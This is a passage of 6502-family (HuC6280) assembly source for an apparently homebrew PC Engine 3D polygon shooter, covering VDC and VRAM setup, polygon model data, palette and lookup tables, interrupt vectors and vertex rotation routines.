movw VDC1_2, #$08C8 ;+32 mov VDC2_0, #$05 movw VDC2_2, #$0800 ;VRAM Clear clx cly .vramClearLoop2: mov VDC2_0, #$00 ;set VRAM addr sty VDC2_2 movw VDC2_3, #$40 iny mov VDC2_0, #$02 ;VRAM clear lda vramClearData, x sta VDC2_2 inx lda vramClearData, x sta VDC2_3 inx cpx #$20 bne .vramClearLoop2 mov VDC2_0, #$10 ;set DMA src movw VDC2_2, #$4000 mov VDC2_0, #$11 ;set DMA dist movw VDC2_2, #$4010 mov VDC2_0, #$12 ;set DMA count movw VDC2_2, #$4000-$10 bra .vdcEnd .vdc2Jp: ;+32 vsync mov VDC1_0, #$05 movw VDC1_2, #$0808 ;+32 bg sp mov VDC2_0, #$05 movw VDC2_2, #$08C0 ;VRAM Clear clx cly .vramClearLoop1: mov VDC1_0, #$00 ;set VRAM addr sty VDC1_2 movw VDC1_3, #$40 iny mov VDC1_0, #$02 ;VRAM clear lda vramClearData, x sta VDC1_2 inx lda vramClearData, x sta VDC1_3 inx cpx #$20 bne .vramClearLoop1 mov VDC1_0, #$10 ;set DMA src movw VDC1_2, #$4000 mov VDC1_0, #$11 ;set DMA dist movw VDC1_2, #$4010 mov VDC1_0, #$12 ;set DMA count movw VDC1_2, #$4000-$10 .vdcEnd: rmb7 <vsyncFlag .vsyncProcEnd: jsr getpaddata dec frameCount bne .irqEnd lda #60 sta frameCount lda drawCountWork sta drawCount stz drawCountWork .irqEnd: ply plx pla rti ;---------------------------- _reset: sei csh cld ldx #$FF txs lda #$FF tam #$00 lda #$F8 tam #$01 stz $2000 tii $2000, $2001, $1FFF stz TIMER_CONTROL_REG ;disable interrupts TIQD IRQ2D lda #$05 sta INTERRUPT_DISABLE_REG ;jump main jmp main ;---------------------------- _irq2: _timer: _nmi: ;IRQ2 TIMER NMI interrupt process rti ;---------------------------- vramClearData .db $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,\ $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00 ;---------------------------- ;Circle Enemy Shot modelData003 .dw modelData003Polygon .db 1 ;polygon count .dw modelData003Vertex .db 1 ;vertex count modelData003Polygon ; color 0-31 ; front color * 8 + vertex count(3 or 4 or 7(circle)), ; back color * 8 + front clip flag($04 = cancel) + back check flag($02 = cancel) + back draw flag($01 = not draw : front side = counterclockwise) : circle radius / 2 ; vertex index 0, ; vertex index 1, ; vertex index 2, ; vertex index 3 .db $03*8+7, $40, 0*6, 0*6, 0*6, 0*6 modelData003Vertex .dw 0, 0, 0 ;---------------------------- ;Circle blast modelData004 .dw modelData004Polygon .db 1 .dw modelData004Vertex .db 1 modelData004Polygon .db $11*8+7, $FF, 0*6, 0*6, 0*6, 0*6 modelData004Vertex .dw 0, 0, 0 ;---------------------------- ;Circle blast modelData005 .dw modelData005Polygon .db 1 .dw modelData005Vertex .db 1 modelData005Polygon .db $11*8+7, $80, 0*6, 0*6, 0*6, 0*6 modelData005Vertex .dw 0, 0, 0 ;---------------------------- ;Circle blast modelData006 .dw modelData006Polygon .db 1 .dw modelData006Vertex .db 1 modelData006Polygon .db $11*8+7, $40, 0*6, 0*6, 0*6, 0*6 modelData006Vertex .dw 0, 0, 0 ;---------------------------- ;Shot modelData000 .dw modelData000Polygon .db 2 .dw modelData000Vertex .db 6 modelData000Polygon .db $0C*8+3, $00*8+$00+$02+$01, 0*6, 1*6, 2*6, 0*6 .db $0C*8+3, $00*8+$00+$02+$01, 3*6, 4*6, 5*6, 0*6 modelData000Vertex .dw -128, -32, 0 .dw -128, 0, 256 .dw -128, 32, 0 .dw 128, -32, 0 .dw 128, 0, 256 .dw 128, 32, 0 ;---------------------------- ;Enemy modelData001 .dw modelData001Polygon .db 6 .dw modelData001Vertex .db 10 modelData001Polygon .db $19*8+3, $00*8+$00+$00+$01, 0*6, 1*6, 2*6, 0*6 .db $1A*8+3, $00*8+$00+$00+$01, 0*6, 3*6, 1*6, 0*6 .db $1B*8+3, $00*8+$00+$00+$01, 0*6, 2*6, 3*6, 0*6 .db $1C*8+3, $00*8+$00+$00+$01, 3*6, 2*6, 1*6, 0*6 .db $02*8+3, $00*8+$00+$02+$01, 4*6, 5*6, 6*6, 0*6 .db $02*8+3, $00*8+$00+$02+$01, 7*6, 8*6, 9*6, 0*6 modelData001Vertex .dw 0, 0, 128 .dw -128, 0, 0 .dw 128, 0, 0 .dw 0, 128, 0 .dw -128, 0, 256 .dw -128, 128, -256 .dw -128,-128, -256 .dw 128, 0, 256 .dw 128,-128, -256 .dw 128, 128, -256 ;---------------------------- ;Rock modelData002 .dw modelData002Polygon .db 4 .dw modelData002Vertex .db 5 modelData002Polygon .db $1A*8+3, $00*8+$00+$00+$01, 0*6, 1*6, 4*6, 0*6 .db $19*8+3, $00*8+$00+$00+$01, 1*6, 2*6, 4*6, 0*6 .db $1B*8+3, $00*8+$00+$00+$01, 2*6, 3*6, 4*6, 0*6 .db $1C*8+3, $00*8+$00+$00+$01, 3*6, 0*6, 4*6, 0*6 modelData002Vertex .dw -96, 192, 0 .dw 212, 144, 0 .dw 0,-240, 0 .dw -384, -96, 0 .dw 48, -48, -192 ;---------------------------- vdcData: .db $05, $00, $00 ;+1 bgoff spoff .db $0A, $02, $02 ;HSW $02 HDS $02 .db $0B, $1F, $04 ;HDW $1F HDE $04 .db $0C, $02, $0D ;VSW $02 VDS $0D .db $0D, $EF, $00 ;VDW $00EF .db $0E, $03, $00 ;VCR $03 .db $0F, $00, $00 ;DMA +1 +1 .db $07, $00, $00 ;scrollx 0 .db $08, $00, $00 ;scrolly 0 .db $09, $00, $00 ;32x32 .db $FF ;end ;---------------------------- paletteData: .dw $0000, $0020, $0100, $0120, $0004, $0024, $0104, $0124,\ $01B6, $0038, $01C0, $01F8, $0007, $003F, $01C7, $01FF .dw $0000, $0020, $0100, $0120, $0004, $0024, $0104, $0124,\ $01B6, $0038, $01C0, $01F8, $0007, $003F, $01C7, $01FF .dw $0000, $0020, $0100, $0120, $0004, $0024, $0104, $0124,\ $01B6, $0038, $01C0, $01F8, $0007, $003F, $01C7, $01FF .dw $0000, $0020, $0100, $0120, $0004, $0024, $0104, $0124,\ $01B6, $0038, $01C0, $01F8, $0007, $003F, $01C7, $01FF .dw $0000, $0020, $0100, $0120, $0004, $0024, $0104, $0124,\ $01B6, $0038, $01C0, $01F8, $0007, $003F, $01C7, $01FF .dw $0000, $0020, $0100, $0120, $0004, $0024, $0104, $0124,\ $01B6, $0038, $01C0, $01F8, $0007, $003F, $01C7, $01FF .dw $0000, $0020, $0100, $0120, $0004, $0024, $0104, $0124,\ $01B6, $0038, $01C0, $01F8, $0007, $003F, $01C7, $01FF .dw $0000, $0020, $0100, $0120, $0004, $0024, $0104, $0124,\ $01B6, $0038, $01C0, $01F8, $0007, $003F, $01C7, $01FF .dw $0000, $0020, $0100, $0120, $0004, $0024, $0104, $0124,\ $01B6, $0038, $01C0, $01F8, $0007, $003F, $01C7, $01FF .dw $0000, $0020, $0100, $0120, $0004, $0024, $0104, $0124,\ $01B6, $0038, $01C0, $01F8, $0007, $003F, $01C7, $01FF .dw $0000, $0020, $0100, $0120, $0004, $0024, $0104, $0124,\ $01B6, $0038, $01C0, $01F8, $0007, $003F, $01C7, $01FF .dw $0000, $0020, $0100, $0120, $0004, $0024, $0104, $0124,\ $01B6, $0038, $01C0, $01F8, $0007, $003F, $01C7, $01FF .dw $0000, $0020, $0100, $0120, $0004, $0024, $0104, $0124,\ $01B6, $0038, $01C0, $01F8, $0007, $003F, $01C7, $01FF .dw $0000, $0020, $0100, $0120, $0004, $0024, $0104, $0124,\ $01B6, $0038, $01C0, $01F8, $0007, $003F, $01C7, $01FF .dw $0000, $0020, $0100, $0120, $0004, $0024, $0104, $0124,\ $01B6, $0038, $01C0, $01F8, $0007, $003F, $01C7, $01FF .dw $0000, $0020, $0100, $0120, $0004, $0024, $0104, $0124,\ $01B6, $0038, $01C0, $01F8, $0007, $003F, $01C7, $01FF .dw $0000, $0020, $0100, $0120, $0004, $0024, $0104, $0124,\ $01B6, $0038, $01C0, $01F8, $0007, $003F, $01C7, $01FF .dw $0000, $0020, $0100, $0120, $0004, $0024, $0104, $0124,\ $01B6, $0038, $01C0, $01F8, $0007, $003F, $01C7, $01FF .dw $0000, $0020, $0100, $0120, $0004, $0024, $0104, $0124,\ $01B6, $0038, $01C0, $01F8, $0007, $003F, $01C7, $01FF .dw $0000, $0020, $0100, $0120, $0004, $0024, $0104, $0124,\ $01B6, $0038, $01C0, $01F8, $0007, $003F, $01C7, $01FF .dw $0000, $0020, $0100, $0120, $0004, $0024, $0104, $0124,\ $01B6, $0038, $01C0, $01F8, $0007, $003F, $01C7, $01FF .dw $0000, $0020, $0100, $0120, $0004, $0024, $0104, $0124,\ $01B6, $0038, $01C0, $01F8, $0007, $003F, $01C7, $01FF .dw $0000, $0020, $0100, $0120, $0004, $0024, $0104, $0124,\ $01B6, $0038, $01C0, $01F8, $0007, $003F, $01C7, $01FF .dw $0000, $0020, $0100, $0120, $0004, $0024, $0104, $0124,\ $01B6, $0038, $01C0, $01F8, $0007, $003F, $01C7, $01FF .dw $0000, $0020, $0100, $0120, $0004, $0024, $0104, $0124,\ $01B6, $0038, $01C0, $01F8, $0007, $003F, $01C7, $01FF .dw $0000, $0020, $0100, $0120, $0004, $0024, $0104, $0124,\ $01B6, $0038, $01C0, $01F8, $0007, $003F, $01C7, $01FF .dw $0000, $0020, $0100, $0120, $0004, $0024, $0104, $0124,\ $01B6, $0038, $01C0, $01F8, $0007, $003F, $01C7, $01FF .dw $0000, $0020, $0100, $0120, $0004, $0024, $0104, $0124,\ $01B6, $0038, $01C0, $01F8, $0007, $003F, $01C7, $01FF .dw $0000, $0020, $0100, $0120, $0004, $0024, $0104, $0124,\ $01B6, $0038, $01C0, $01F8, $0007, $003F, $01C7, $01FF .dw $0000, $0020, $0100, $0120, $0004, $0024, $0104, $0124,\ $01B6, $0038, $01C0, $01F8, $0007, $003F, $01C7, $01FF .dw $0000, $0020, $0100, $0120, $0004, $0024, $0104, $0124,\ $01B6, $0038, $01C0, $01F8, $0007, $003F, $01C7, $01FF .dw $0000, $0020, $0100, $0120, $0004, $0024, $0104, $0124,\ $01B6, $0038, $01C0, $01F8, $0007, $003F, $01C7, $01FF ;---------------------------- polyLineColor0: .db $00, $00, $FF, $FF, $00, $00, $FF, $FF, $00, $00, $FF, $FF, $00, $00, $FF, $FF,\ $00, $00, $FF, $FF, $00, $00, $FF, $FF, $00, $00, $FF, $FF, $00, $00, $FF, $FF,\ $00, $00, $FF, $00, $00, $00, $FF, $FF, $00, $00, $FF, $FF, $00, $00, $FF, $FF,\ $00, $00, $55, $AA, $FF, $FF, $55, $AA, $00, $00, $AA, $55, $FF, $FF, $FF, $FF ;---------------------------- polyLineColor1: .db $00, $00, $00, $00, $FF, $FF, $FF, $FF, $00, $00, $00, $00, $FF, $FF, $FF, $FF,\ $00, $00, $00, $00, $FF, $FF, $FF, $FF, $00, $00, $00, $00, $FF, $FF, $FF, $FF,\ $00, $00, $00, $00, $FF, $FF, $FF, $FF, $00, $00, $00, $00, $FF, $FF, $FF, $FF,\ $00, $00, $55, $AA, $FF, $FF, $55, $AA, $00, $00, $AA, $55, $FF, $FF, $FF, $FF ;---------------------------- polyLineColor2: .db $00, $00, $00, $00, $00, $00, $00, $00, $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF,\ $00, $00, $00, $00, $00, $00, $00, $00, $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF,\ $00, $00, $00, $00, $00, $00, $00, $00, $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF,\ $00, $00, $55, $AA, $FF, $FF, $55, $AA, $00, $00, $AA, $55, $FF, $FF, $FF, $FF ;---------------------------- polyLineColor3: .db $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,\ $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF,\ $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,\ $00, $00, $00, $00, $00, $00, $AA, $55, $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF ;---------------------------- mul2bankdata: .db $00+mul2datBank, $00+mul2datBank, $00+mul2datBank, $00+mul2datBank,\ $00+mul2datBank, $00+mul2datBank, $00+mul2datBank, $00+mul2datBank,\ $00+mul2datBank, $00+mul2datBank, $00+mul2datBank, $00+mul2datBank,\ $00+mul2datBank, $00+mul2datBank, $00+mul2datBank, $00+mul2datBank,\ $01+mul2datBank, $01+mul2datBank, $01+mul2datBank, $01+mul2datBank,\ $01+mul2datBank, $01+mul2datBank, $01+mul2datBank, $01+mul2datBank,\ $01+mul2datBank, $01+mul2datBank, $01+mul2datBank, $01+mul2datBank,\ $01+mul2datBank, $01+mul2datBank, $01+mul2datBank, $01+mul2datBank,\ $02+mul2datBank, $02+mul2datBank, $02+mul2datBank, $02+mul2datBank,\ $02+mul2datBank, $02+mul2datBank, $02+mul2datBank, $02+mul2datBank,\ $02+mul2datBank, $02+mul2datBank, $02+mul2datBank, $02+mul2datBank,\ $02+mul2datBank, $02+mul2datBank, $02+mul2datBank, $02+mul2datBank,\ $03+mul2datBank, $03+mul2datBank, $03+mul2datBank, $03+mul2datBank,\ $03+mul2datBank, $03+mul2datBank, $03+mul2datBank, $03+mul2datBank,\ $03+mul2datBank, $03+mul2datBank, $03+mul2datBank, $03+mul2datBank,\ $03+mul2datBank, $03+mul2datBank, $03+mul2datBank, $03+mul2datBank,\ $04+mul2datBank, $04+mul2datBank, $04+mul2datBank, $04+mul2datBank,\ $04+mul2datBank, $04+mul2datBank, $04+mul2datBank, $04+mul2datBank,\ $04+mul2datBank, $04+mul2datBank, $04+mul2datBank, $04+mul2datBank,\ $04+mul2datBank, $04+mul2datBank, $04+mul2datBank, $04+mul2datBank,\ $05+mul2datBank, $05+mul2datBank, $05+mul2datBank, $05+mul2datBank,\ $05+mul2datBank, $05+mul2datBank, $05+mul2datBank, $05+mul2datBank,\ $05+mul2datBank, $05+mul2datBank, $05+mul2datBank, $05+mul2datBank,\ $05+mul2datBank, $05+mul2datBank, $05+mul2datBank, $05+mul2datBank,\ $06+mul2datBank, $06+mul2datBank, $06+mul2datBank, $06+mul2datBank,\ $06+mul2datBank, $06+mul2datBank, $06+mul2datBank, $06+mul2datBank,\ $06+mul2datBank, $06+mul2datBank, $06+mul2datBank, $06+mul2datBank,\ $06+mul2datBank, $06+mul2datBank, $06+mul2datBank, $06+mul2datBank,\ $07+mul2datBank, $07+mul2datBank, $07+mul2datBank, $07+mul2datBank,\ $07+mul2datBank, $07+mul2datBank, $07+mul2datBank, $07+mul2datBank,\ $07+mul2datBank, $07+mul2datBank, $07+mul2datBank, $07+mul2datBank,\ $07+mul2datBank, $07+mul2datBank, $07+mul2datBank, $07+mul2datBank,\ $08+mul2datBank, $08+mul2datBank, $08+mul2datBank, $08+mul2datBank,\ $08+mul2datBank, $08+mul2datBank, $08+mul2datBank, $08+mul2datBank,\ $08+mul2datBank, $08+mul2datBank, $08+mul2datBank, $08+mul2datBank,\ $08+mul2datBank, $08+mul2datBank, $08+mul2datBank, $08+mul2datBank,\ $09+mul2datBank, $09+mul2datBank, $09+mul2datBank, $09+mul2datBank,\ $09+mul2datBank, $09+mul2datBank, $09+mul2datBank, $09+mul2datBank,\ $09+mul2datBank, $09+mul2datBank, $09+mul2datBank, $09+mul2datBank,\ $09+mul2datBank, $09+mul2datBank, $09+mul2datBank, $09+mul2datBank,\ $0A+mul2datBank, $0A+mul2datBank, $0A+mul2datBank, $0A+mul2datBank,\ $0A+mul2datBank, $0A+mul2datBank, $0A+mul2datBank, $0A+mul2datBank,\ $0A+mul2datBank, $0A+mul2datBank, $0A+mul2datBank, $0A+mul2datBank,\ $0A+mul2datBank, $0A+mul2datBank, $0A+mul2datBank, $0A+mul2datBank,\ $0B+mul2datBank, $0B+mul2datBank, $0B+mul2datBank, $0B+mul2datBank,\ $0B+mul2datBank, $0B+mul2datBank, $0B+mul2datBank, $0B+mul2datBank,\ $0B+mul2datBank, $0B+mul2datBank, $0B+mul2datBank, $0B+mul2datBank,\ $0B+mul2datBank, $0B+mul2datBank, $0B+mul2datBank, $0B+mul2datBank,\ $0C+mul2datBank, $0C+mul2datBank, $0C+mul2datBank, $0C+mul2datBank,\ $0C+mul2datBank, $0C+mul2datBank, $0C+mul2datBank, $0C+mul2datBank,\ $0C+mul2datBank, $0C+mul2datBank, $0C+mul2datBank, $0C+mul2datBank,\ $0C+mul2datBank, $0C+mul2datBank, $0C+mul2datBank, $0C+mul2datBank,\ $0D+mul2datBank, $0D+mul2datBank, $0D+mul2datBank, $0D+mul2datBank,\ $0D+mul2datBank, $0D+mul2datBank, $0D+mul2datBank, $0D+mul2datBank,\ $0D+mul2datBank, $0D+mul2datBank, $0D+mul2datBank, $0D+mul2datBank,\ $0D+mul2datBank, $0D+mul2datBank, $0D+mul2datBank, $0D+mul2datBank,\ $0E+mul2datBank, $0E+mul2datBank, $0E+mul2datBank, $0E+mul2datBank,\ $0E+mul2datBank, $0E+mul2datBank, $0E+mul2datBank, $0E+mul2datBank,\ $0E+mul2datBank, $0E+mul2datBank, $0E+mul2datBank, $0E+mul2datBank,\ $0E+mul2datBank, $0E+mul2datBank, $0E+mul2datBank, $0E+mul2datBank,\ $0F+mul2datBank, $0F+mul2datBank, $0F+mul2datBank, $0F+mul2datBank,\ $0F+mul2datBank, $0F+mul2datBank, $0F+mul2datBank, $0F+mul2datBank,\ $0F+mul2datBank, $0F+mul2datBank, $0F+mul2datBank, $0F+mul2datBank,\ $0F+mul2datBank, $0F+mul2datBank, $0F+mul2datBank, $0F+mul2datBank ;---------------------------- mul2addrdata: .db $40, $42, $44, $46, $48, $4A, $4C, $4E, $50, $52, $54, $56, $58, $5A, $5C, $5E,\ $40, $42, $44, $46, $48, $4A, $4C, $4E, $50, $52, $54, $56, $58, $5A, $5C, $5E,\ $40, $42, $44, $46, $48, $4A, $4C, $4E, $50, $52, $54, $56, $58, $5A, $5C, $5E,\ $40, $42, $44, $46, $48, $4A, $4C, $4E, $50, $52, $54, $56, $58, $5A, $5C, $5E,\ $40, $42, $44, $46, $48, $4A, $4C, $4E, $50, $52, $54, $56, $58, $5A, $5C, $5E,\ $40, $42, $44, $46, $48, $4A, $4C, $4E, $50, $52, $54, $56, $58, $5A, $5C, $5E,\ $40, $42, $44, $46, $48, $4A, $4C, $4E, $50, $52, $54, $56, $58, $5A, $5C, $5E,\ $40, $42, $44, $46, $48, $4A, $4C, $4E, $50, $52, $54, $56, $58, $5A, $5C, $5E,\ $40, $42, $44, $46, $48, $4A, $4C, $4E, $50, $52, $54, $56, $58, $5A, $5C, $5E,\ $40, $42, $44, $46, $48, $4A, $4C, $4E, $50, $52, $54, $56, $58, $5A, $5C, $5E,\ $40, $42, $44, $46, $48, $4A, $4C, $4E, $50, $52, $54, $56, $58, $5A, $5C, $5E,\ $40, $42, $44, $46, $48, $4A, $4C, $4E, $50, $52, $54, $56, $58, $5A, $5C, $5E,\ $40, $42, $44, $46, $48, $4A, $4C, $4E, $50, $52, $54, $56, $58, $5A, $5C, $5E,\ $40, $42, $44, $46, $48, $4A, $4C, $4E, $50, $52, $54, $56, $58, $5A, $5C, $5E,\ $40, $42, $44, $46, $48, $4A, $4C, $4E, $50, $52, $54, $56, $58, $5A, $5C, $5E,\ $40, $42, $44, $46, $48, $4A, $4C, $4E, $50, $52, $54, $56, $58, $5A, $5C, $5E ;---------------------------- divbankdata: .db $00+divdatBank, $00+divdatBank, $00+divdatBank, $00+divdatBank,\ $00+divdatBank, $00+divdatBank, $00+divdatBank, $00+divdatBank,\ $00+divdatBank, $00+divdatBank, $00+divdatBank, $00+divdatBank,\ $00+divdatBank, $00+divdatBank, $00+divdatBank, $00+divdatBank,\ $00+divdatBank, $00+divdatBank, $00+divdatBank, $00+divdatBank,\ $00+divdatBank, $00+divdatBank, $00+divdatBank, $00+divdatBank,\ $00+divdatBank, $00+divdatBank, $00+divdatBank, $00+divdatBank,\ $00+divdatBank, $00+divdatBank, $00+divdatBank, $00+divdatBank .db $01+divdatBank, $01+divdatBank, $01+divdatBank, $01+divdatBank,\ $01+divdatBank, $01+divdatBank, $01+divdatBank, $01+divdatBank,\ $01+divdatBank, $01+divdatBank, $01+divdatBank, $01+divdatBank,\ $01+divdatBank, $01+divdatBank, $01+divdatBank, $01+divdatBank,\ $01+divdatBank, $01+divdatBank, $01+divdatBank, $01+divdatBank,\ $01+divdatBank, $01+divdatBank, $01+divdatBank, $01+divdatBank,\ $01+divdatBank, $01+divdatBank, $01+divdatBank, $01+divdatBank,\ $01+divdatBank, $01+divdatBank, $01+divdatBank, $01+divdatBank .db $02+divdatBank, $02+divdatBank, $02+divdatBank, $02+divdatBank,\ $02+divdatBank, $02+divdatBank, $02+divdatBank, $02+divdatBank,\ $02+divdatBank, $02+divdatBank, $02+divdatBank, $02+divdatBank,\ $02+divdatBank, $02+divdatBank, $02+divdatBank, $02+divdatBank,\ $02+divdatBank, $02+divdatBank, $02+divdatBank, $02+divdatBank,\ $02+divdatBank, $02+divdatBank, $02+divdatBank, $02+divdatBank,\ $02+divdatBank, $02+divdatBank, $02+divdatBank, $02+divdatBank,\ $02+divdatBank, $02+divdatBank, $02+divdatBank, $02+divdatBank .db $03+divdatBank, $03+divdatBank, $03+divdatBank, $03+divdatBank,\ $03+divdatBank, $03+divdatBank, $03+divdatBank, $03+divdatBank,\ $03+divdatBank, $03+divdatBank, $03+divdatBank, $03+divdatBank,\ $03+divdatBank, $03+divdatBank, $03+divdatBank, $03+divdatBank,\ $03+divdatBank, $03+divdatBank, $03+divdatBank, $03+divdatBank,\ $03+divdatBank, $03+divdatBank, $03+divdatBank, $03+divdatBank,\ $03+divdatBank, $03+divdatBank, $03+divdatBank, $03+divdatBank,\ $03+divdatBank, $03+divdatBank, $03+divdatBank, $03+divdatBank ;---------------------------- mulbankdata: .db $04, $04, $04, $04, $04, $04, $04, $04, $04, $04, $04, $04, $04, $04, $04, $04,\ $04, $04, $04, $04, $04, $04, $04, $04, $04, $04, $04, $04, $04, $04, $04, $04,\ $05, $05, $05, $05, $05, $05, $05, $05, $05, $05, $05, $05, $05, $05, $05, $05,\ $05, $05, $05, $05, $05, $05, $05, $05, $05, $05, $05, $05, $05, $05, $05, $05,\ $06, $06, $06, $06, $06, $06, $06, $06, $06, $06, $06, $06, $06, $06, $06, $06,\ $06, $06, $06, $06, $06, $06, $06, $06, $06, $06, $06, $06, $06, $06, $06, $06,\ $07, $07, $07, $07, $07, $07, $07, $07, $07, $07, $07, $07, $07, $07, $07, $07,\ $07, $07, $07, $07, $07, $07, $07, $07, $07, $07, $07, $07, $07, $07, $07, $07,\ $08, $08, $08, $08, $08, $08, $08, $08, $08, $08, $08, $08, $08, $08, $08, $08,\ $08, $08, $08, $08, $08, $08, $08, $08, $08, $08, $08, $08, $08, $08, $08, $08,\ $09, $09, $09, $09, $09, $09, $09, $09, $09, $09, $09, $09, $09, $09, $09, $09,\ $09, $09, $09, $09, $09, $09, $09, $09, $09, $09, $09, $09, $09, $09, $09, $09,\ $0A, $0A, $0A, $0A, $0A, $0A, $0A, $0A, $0A, $0A, $0A, $0A, $0A, $0A, $0A, $0A,\ $0A, $0A, $0A, $0A, $0A, $0A, $0A, $0A, $0A, $0A, $0A, $0A, $0A, $0A, $0A, $0A,\ $0B, $0B, $0B, $0B, $0B, $0B, $0B, $0B, $0B, $0B, $0B, $0B, $0B, $0B, $0B, $0B,\ $0B, $0B, $0B, $0B, $0B, $0B, $0B, $0B, $0B, $0B, $0B, $0B, $0B, $0B, $0B, $0B ;---------------------------- muladdrdata: .db $40, $41, $42, $43, $44, $45, $46, $47, $48, $49, $4A, $4B, $4C, $4D, $4E, $4F,\ $50, $51, $52, $53, $54, $55, $56, $57, $58, $59, $5A, $5B, $5C, $5D, $5E, $5F,\ $40, $41, $42, $43, $44, $45, $46, $47, $48, $49, $4A, $4B, $4C, $4D, $4E, $4F,\ $50, $51, $52, $53, $54, $55, $56, $57, $58, $59, $5A, $5B, $5C, $5D, $5E, $5F,\ $40, $41, $42, $43, $44, $45, $46, $47, $48, $49, $4A, $4B, $4C, $4D, $4E, $4F,\ $50, $51, $52, $53, $54, $55, $56, $57, $58, $59, $5A, $5B, $5C, $5D, $5E, $5F,\ $40, $41, $42, $43, $44, $45, $46, $47, $48, $49, $4A, $4B, $4C, $4D, $4E, $4F,\ $50, $51, $52, $53, $54, $55, $56, $57, $58, $59, $5A, $5B, $5C, $5D, $5E, $5F,\ $40, $41, $42, $43, $44, $45, $46, $47, $48, $49, $4A, $4B, $4C, $4D, $4E, $4F,\ $50, $51, $52, $53, $54, $55, $56, $57, $58, $59, $5A, $5B, $5C, $5D, $5E, $5F,\ $40, $41, $42, $43, $44, $45, $46, $47, $48, $49, $4A, $4B, $4C, $4D, $4E, $4F,\ $50, $51, $52, $53, $54, $55, $56, $57, $58, $59, $5A, $5B, $5C, $5D, $5E, $5F,\ $40, $41, $42, $43, $44, $45, $46, $47, $48, $49, $4A, $4B, $4C, $4D, $4E, $4F,\ $50, $51, $52, $53, $54, $55, $56, $57, $58, $59, $5A, $5B, $5C, $5D, $5E, $5F,\ $40, $41, $42, $43, $44, $45, $46, $47, $48, $49, $4A, $4B, $4C, $4D, $4E, $4F,\ $50, $51, $52, $53, $54, $55, $56, $57, $58, $59, $5A, $5B, $5C, $5D, $5E, $5F ;---------------------------- ;interrupt vectors .org $FFF6 .dw _irq2 .dw _irq1 .dw _timer .dw _nmi .dw _reset ;//////////////////////////// .bank 1 .org $A000 ;---------------------------- initScreenVsync: ;VDC1 ;bg sp vsync ;+32 mov VDC1_0, #$05 movw VDC1_2, #$08C8 ;VDC2 ;bg sp ;+32 mov VDC2_0, #$05 movw VDC2_2, #$0800 mov <selectVdc, #VDC2 rmb7 <vsyncFlag rts ;---------------------------- waitScreenVsync: .waitloop: bbs7 <vsyncFlag, .waitloop eorm <selectVdc, #$03 rts ;---------------------------- setScreenVsyncFlag: smb7 <vsyncFlag rts ;---------------------------- selectVertexRotation: ; and #3 cmp #3 beq .rotationSelectJump2 cmp #1 beq .rotationSelectJump11 bcs .rotationSelectJump12 .rotationSelectJump10: ldx <rotationX jsr vertexRotationX rts .rotationSelectJump11: ldx <rotationY jsr vertexRotationY rts .rotationSelectJump12: ldx <rotationZ jsr vertexRotationZ .rotationSelectJump2: rts ;---------------------------- vertexRotationZ: ;x=xcosA-ysinA y=xsinA+ycosA z=z ;transform2DWork0 => transform2DWork0 ;vertexCount = count ;x = angle phx phy cpx #0 jeq .vertexRotationZEnd lda <vertexCount jeq .vertexRotationZEnd lda sinDataLow,x ;sin sta <vertexRotationSin lda sinDataHigh,x sta <vertexRotationSin+1 lda cosDataLow,x ;cos sta <vertexRotationCos lda cosDataHigh,x sta <vertexRotationCos+1 ldx <vertexCount cly .vertexRotationZLoop: ;---------------- lda transform2DWork0, y ;X0 sta <mul16a lda transform2DWork0+1, y sta <mul16a+1 movw <mul16b, <vertexRotationCos ;cos jsr smul16 ;xcosA movq <div16ans, <mul16c lda transform2DWork0+2, y ;Y0 sta <mul16a lda transform2DWork0+3, y sta <mul16a+1 movw <mul16b, <vertexRotationSin ;sin jsr smul16 ;ysinA subq <mul16c, <div16ans, <mul16c ;xcosA-ysinA lda <mul16d+1 asl <mul16c+1 rol <mul16d rol a asl <mul16c+1 rol <mul16d rol a pha lda <mul16d pha ;---------------- lda transform2DWork0, y ;X0 sta <mul16a lda transform2DWork0+1, y sta <mul16a+1 movw <mul16b, <vertexRotationSin ;sin jsr smul16 ;xsinA movq <div16ans, <mul16c lda transform2DWork0+2, y ;Y0 sta <mul16a lda transform2DWork0+3, y sta <mul16a+1 movw <mul16b, <vertexRotationCos ;cos jsr smul16 ;ycosA addq <mul16c, <div16ans, <mul16c ;xsinA+ycosA lda <mul16d asl <mul16c+1 rol a rol <mul16d+1 asl <mul16c+1 rol a rol <mul16d+1 sta transform2DWork0+2, y lda <mul16d+1 sta transform2DWork0+3, y ;---------------- pla sta transform2DWork0, y pla sta transform2DWork0+1, y ;---------------- lda intTable+6, y tay dex jne .vertexRotationZLoop .vertexRotationZEnd: ply plx rts ;---------------------------- vertexRotationY: ;x=xcosA-zsinA y=y z=xsinA+zcosA ;transform2DWork0 => transform2DWork0 ;vertexCount = count ;x = angle phx phy cpx #0 jeq .vertexRotationYEnd lda <vertexCount jeq .vertexRotationYEnd lda sinDataLow,x ;sin sta <vertexRotationSin lda sinDataHigh,x sta <vertexRotationSin+1 lda cosDataLow,x ;cos sta <vertexRotationCos lda cosDataHigh,x sta <vertexRotationCos+1 ldx <vertexCount cly .vertexRotationYLoop: ;---------------- lda transform2DWork0+4, y ;Z0 sta <mul16a lda transform2DWork0+5, y sta <mul16a+1 movw <mul16b, <vertexRotationSin ;sin jsr smul16 ;zsinA movq <div16ans, <mul16c lda transform2DWork0, y ;X0 sta <mul16a lda transform2DWork0+1, y sta <mul16a+1 movw <mul16b, <vertexRotationCos ;cos jsr smul16 ;xcosA subq <mul16c, <mul16c, <div16ans ;xcosA-zsinA lda <mul16d+1 asl <mul16c+1 rol <mul16d rol a asl <mul16c+1 rol <mul16d rol a pha lda <mul16d pha ;---------------------------- lda transform2DWork0+4, y ;Z0 sta <mul16a lda transform2DWork0+5, y sta <mul16a+1 movw <mul16b, <vertexRotationCos ;cos jsr smul16 ;zcosA movq <div16ans, <mul16c lda transform2DWork0, y ;X0 sta <mul16a lda transform2DWork0+1, y sta <mul16a+1 movw 